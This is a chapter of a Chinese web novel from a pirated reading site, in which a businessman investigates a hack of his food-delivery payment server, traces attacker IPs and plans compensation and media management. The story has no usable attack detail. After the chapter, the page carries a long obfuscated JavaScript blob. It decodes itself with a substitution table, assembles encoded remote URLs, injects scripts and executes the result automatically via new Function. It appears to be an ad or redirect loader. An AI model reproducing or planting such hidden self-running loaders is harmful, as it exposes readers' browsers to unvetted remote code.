首页
第446章 出来混早晚要还,
返回
关灯 护眼:关 字号:小

第446章 出来混早晚要还,我还的起,你们呢?

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    没管小秘那张泪目梨花般的面容,直接问向负责程序的主管。
    这位当时从软件园调过来负责架构外卖网站和支付系统架构的主要负责人叫韩家俊。HK人,毕业于耶鲁通信工程研究生学历。
    三十多岁,有五六年的工作经验,也是猎头高薪在大美子国挖来的。
    邢宝华直接问道:“现在具体是什么情况。”
    “黑客入侵服务器,利用后台漏洞拿到客户资料,同时在后台利用客户的信息注册一家餐馆。就这样,黑客逐步登录绑定银行卡的客户,全部下单那家虚假餐馆。对方是高手,我们服务器防火墙没有报警,还是客户发现他的账户没钱了投诉我们才发现问题严重性。从转账到发现三天时间,对不起老板,我们负有一定责任。”赵家俊缓慢地解释道。
    “查过没有损失多少。”邢宝华接着问道。
    “差不多一亿多港币,三百多个客户,有不少有钱的几乎把他们账户里的钱全部卷走。”一位负责财务的主管回答道。
    “J方怎么讲?”邢宝华又问道。
    “还在调查,他们讲这属于高科技犯罪,目前是全港第一例网络盗窃。他们没有相关的技术,而且也没有这方面的相关法律来定义,只能用盗窃罪名来定义罪名。还有,J方说全港就我们公司最精通网络里的事情,先让我们自己寻找线索。”小秘抹了一把泪,对着邢宝华说道。
    邢宝华坐在办公椅上,先是点上一根烟,让一帮手下先坐在会客沙发上。
    他需要一点时间来思索,用手轻轻的敲打着桌面,随后对小秘说道:“给律师打电话,我需要一些法律上的援助。”
    小秘一点头,拿出电话来就拨打。
    邢宝华随后又问向韩家俊:“服务器日志调取了没有。”
    “调取了也备份了。”说着从包里拿出一个硬盘来,递给邢宝华。
    这厮拿在手里看了一下,放在一边说道:“检查出什么来没有。”
    韩家俊轻微摇头,说道:“对方在退出的时候,删除了一些痕迹,没留下线索。”
    “服务器现在什么状态。”
    “已经关停了!”
    “服务器被全部格式化了?”
    “没有,只有少部分数据被删除,就是他们虚假注册的店铺信息,我们的人已经从硬盘中恢复过来,并且备份保存。”
    听了这话,邢宝华心情才好点,只要不是物理性的破坏硬盘,能有90%以上修复被删除的数据。
    现在的技术或许没有专用的数据恢复,但邢宝华多少知道点原理,组织人专门公关一款数据恢复软件,相信还是能起到一定效果。
    “防火墙没有报警?”
    “是的。”赵家俊回复邢宝华的问话。
    “你认为是个人做的,还是团队做的?”邢宝华又问向赵家俊。
    “一个人可能干不了,起码要两三个人才能协助。他们需要在极短的时间内完成,不然每天检查服务器的工作人员会发现高级管理权限被占用。”赵家俊回答道。
    “有没有怀疑过是内鬼做的?”邢宝华又问道。
    “或许有可能?外人想进入首先会触发防火墙,这么悄然无息,很可能对防火墙有了解。找到防火墙的漏洞,从而绕开防火墙,抱歉老板,我对这方面不是很了解。”赵家俊说道。
    “不是有可能,而是一定有。而且还知道高级管理权限密码?也知道服务器巡查时间,所以他们需要在两个个小时内完成所有登录,并且全部转账。”邢宝华敲打的桌面解释道。
    这厮的话音刚落下,小秘赶紧站起身来说道:“我去人事部看看最近谁辞职了。”
    说完,慌忙的开门跑出去。
    邢宝华没理会小秘的这种慌张,而是对赵家俊说道:“咱们去机房看看。”
    留下无关紧要的主管,则和技术们前往机房。顺便还留下句话,让小秘回来去机房找他。
    邢宝华他们刚到机房不久,小秘也就跟来。喘着气对邢宝华说道:“老板,从事发到现在全公司没有一人辞职?”
    “好,我知道了。通知财务核对客户损失,我们进行全面赔偿,你带公司高管协商出一个公关方案,通过媒体进来把信誉危机降到最低。”邢宝华说完,就让她去做事。
    来到服务器机房,邢宝华插上那块带有备份日志的硬盘,逐个逐个地去检查。
    确实如同赵家俊说的,很干净,没有任何的痕迹。
    不过任何硬件、系统、程序,甚至防火墙都有漏洞,连网络交换器,路由器各种端口都能利用漏洞进入系统。
    防不胜防,有时候设计者都不知道漏洞在哪儿,能发现漏洞的会打上补丁,发现不了的也就等着别人去发现。
    入侵者犯了一个小错误,那就退出时应该像邢宝华那样玩狠的,用破坏性病毒消灭痕迹。
    服务器有病毒,只是隐藏着等待下一次激活。
    任何的入侵都是病毒造成的,病毒会扫描系统内的漏洞,找出后·门通道,不管是硬件协议还会软件中的BUG都能进入。
    目前的网络安全完全都是被动行为。
    就电脑漏洞和筛子似的,太多了。只有通过时间去一点一点的堵。当初就怕出现这种问题,邢宝华才和这帮人做了一个防火墙的软件。
    谁知也没啥吊用!根本就堵不过,也防不住。
    邢宝华他自己也干过这种缺德事儿,挑明白这里面的事儿了。
    甚至还安排人员检查系统,想要入侵他的服务器,就要破解高级管理权限。这道权限被占用后,巡查人员再登录的时候会提示有人登录中,这也算人工警报。
    看似双重保险,其实也不堪一击。
    两个小时循环一次的检查,如果不是内部人员知道这一情况,黑客未必知道这个时间段。
    很有可能是内外勾结。
    不过这件事儿先放一边,当务之急就要恢复硬盘中的数据。
    让现有的程序工作人员分段写代码,邢宝华告诉他们方向和要求。这厮也在写一款扫描软件,把服务器内的病毒找出来再说。
    其实邢宝华还是非常感谢黑客的不杀之恩啊!
    如果和他一样为了消灭痕迹,玩那种破坏硬件病毒!真的,邢宝华这边的服务器算是废了。
    此时他才相信那句话,出来混得迟早要还的。
    只是,邢宝华还的起,他们这些黑家伙呢?未必玩的起。
    经过一个夜晚加一个上午,邢宝华终于编写出一款扫描软件,只可扫描不可杀毒的软件。
    至于硬盘修复软件则需要时间,他先扫描一下机房内的设备再说。
    不扫不知道,一扫吓一跳,竟然发现一百多个病毒,这是让多少人给瞄上了?
    让人去拿几块新硬盘过来,先格式化后开始分区又独立出几个虚拟空间来。
    把扫出来的病毒和可疑文件,放在虚拟盘中,从服务器上拆下硬盘。用机房办公室的电脑对这几款病毒分拆解剖。
    当然,首先要把工作的这台电脑先断网,再逐步地去拆解外壳,看里面内核结构。
    全都是代码,看起来也非常费劲。手头没有专用工具,只能靠眼力和思维去判断。
    结构大致都一样,都是从蠕虫病毒演变出来的。
    有这些病毒的样本,可以更新杀毒软件中的病毒库了。
    以后再遇到这种百多种病毒,直接秒杀。
    接下来需要分析病毒主要功能,其中就是查看病毒中需要回馈的pi地址。
    病毒激活后,扫描到漏洞信息,需要给黑客一个回访信息,这个地址可能是邮箱地址,也可能是一个临时的肉鸡ip。
    99%都需要搭建一个临时肉鸡来作为跳板,想要寻找出真实身份来如同大海捞针。
    不过那也要寻找,肉鸡何其多,就看对方用使用多少台肉鸡了,顺着线找下去就行。
    无非就是浪费点时间。
    时间邢宝华有,最重要的是他人多。而且他还有个小工具可以作为辅助去辨别那些假ip。
    这样一来也缩短时间,能让这厮查找的速度一点。
    邢宝华打电话给软件园,再派几个程序员过来。他需要助手。又给小秘电话,他需要几台新电脑,台式机,笔记本都弄几台过来。
    等人员到位后,邢宝华已经把从病毒中分析出来的ip地址整理出来。
    来的程序员助手,根据ip地址去寻找线索。
    机房的专线被他们利用起来,速度快了很多。
    邢宝华用自己的电脑直接连接服务器,在服务器内安装上小工具,用服务器强大的性能和算力来协助,帮着分辨真假ip。
    百多个ip地址,每个都能分裂出几千上万个ip来,如果靠现有的电脑水平,也不知道能找到猴年马月。
    用服务器的性能去计算,如同开挂一般,大大地减少了没必要的时间。
    还真找出三个ip来,顺着线过去查对方电脑里的日志,非常的活跃。分析对方日志也找不出下一组ip痕迹,从这里开始鉴定,这是初始ip地址。
    把对方的日志复制下来,算是证据吧!
    好吧,估计也当不了罪证,毕竟这种犯罪是新鲜事物,法律完全没有规范这方面的条例。
    就目前来说,邢宝华从日志中也找不到对方的罪证,起码要有个转账记录啥的,也好说。
    邢宝华瞄一眼IP地址,我勒个艹。开头数字就是HK。
    找到那三组ip,都显示在HK。
    HK好办,不知道全港的网络运营商就是他邢宝华的吗?这是在太岁头上动土啊!
    很快,三组IP地址也拿到真实的地址。
    甚至机主姓名电话家庭地址都已经找到。光看这些信息也没啥用,都是公司法人信息,也就说公司在华泓电信申请的网络。
    这些人利用公司的设备来干他们的私活。
    找肯定好找,根据路由器分配的地址,就能找到是哪台电脑,谁在使用这台电脑,人就能找出来了。
    只是现在只能暗中观察,还不能打草惊蛇。
    随后,又找出一个来,经过分析出自软件园,这个人更好找了,一个电话就确定了目标,来自大鹰国的人。
    不是个好鸟!
    对自己公司下手的人,绝对不留情。不管你什么目的,吃着饭再去干砸锅的事儿,独一这种人就得狠点。
    小秘拿着公关文桉请邢宝华看看,顺便说一下律师楼的人已经到了。
    邢宝华暂时放下手中的工作,先和律师见个面,把目前公司遇到的事情跟地方简单说一下。
    “邢先生,电子网络犯罪目前在全世界范围都没有一个完全定义,只能参考大美子国发生的几例桉子。如果真能锁定贵公司有人员参与,只能追加他利用职务之便谋取私利的职务侵占罪。其他的需要J方来定。”律师听完邢宝华的疑问后,给出一个模湖的答桉。
    先让律师准备着,再去看看大美子国那些桉例,看看人家是怎么取证的。
    等律师先走后,邢宝华才咨询看小秘他们写的公关方案。
    轻微的摇摇头,里面有些话力度差点。他拿出笔来,改了几个句。
    除了道歉,赔偿客户损失,更重要的是保证以后会加强防范,郑重承诺如果再遇到客户被盗,让其遇到损失。外卖公司第一时间先垫资进行赔付等等一系列问题。
    信誉也是一点一点建立起来的,只有及时赔付才能让人安心。
    不光要说,还要借着这件事儿光明正大地做出来。
    搞个现场道歉仪式,赔付仪式啥的。
    找一些媒体人,塞红包,使劲塞,洗白。
    不就是钱吗?缺吗?好在没上市,不然这件事就能造成市值蒸发,那算损失才巨大。
    给媒体人塞个红包啥的,只能说九牛一毛中的毛来比喻。
    交代给小秘怎么去做事后,他又回到机房,此时又找出一个来,IP地址来自小鬼子。
    只要查到来自哪个国家就好说!之后再去黑运营商系统,查看IP详细地址和一些注册时留下的资料。
    运营商系统不是说黑就能黑进去的,需要提前准备一些工具,做好万全准备。
    有团队协助,加上强大的服务器性能,这一天就找出七八个地址来。
    随后邢宝华让他们分析找,而他来硬盘修复软件这边,查看编写代码的进程。
    有些已经完成自己的工作,等待其他段的代码融合。
    之后还要跑一遍程序,检查一下BUG。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();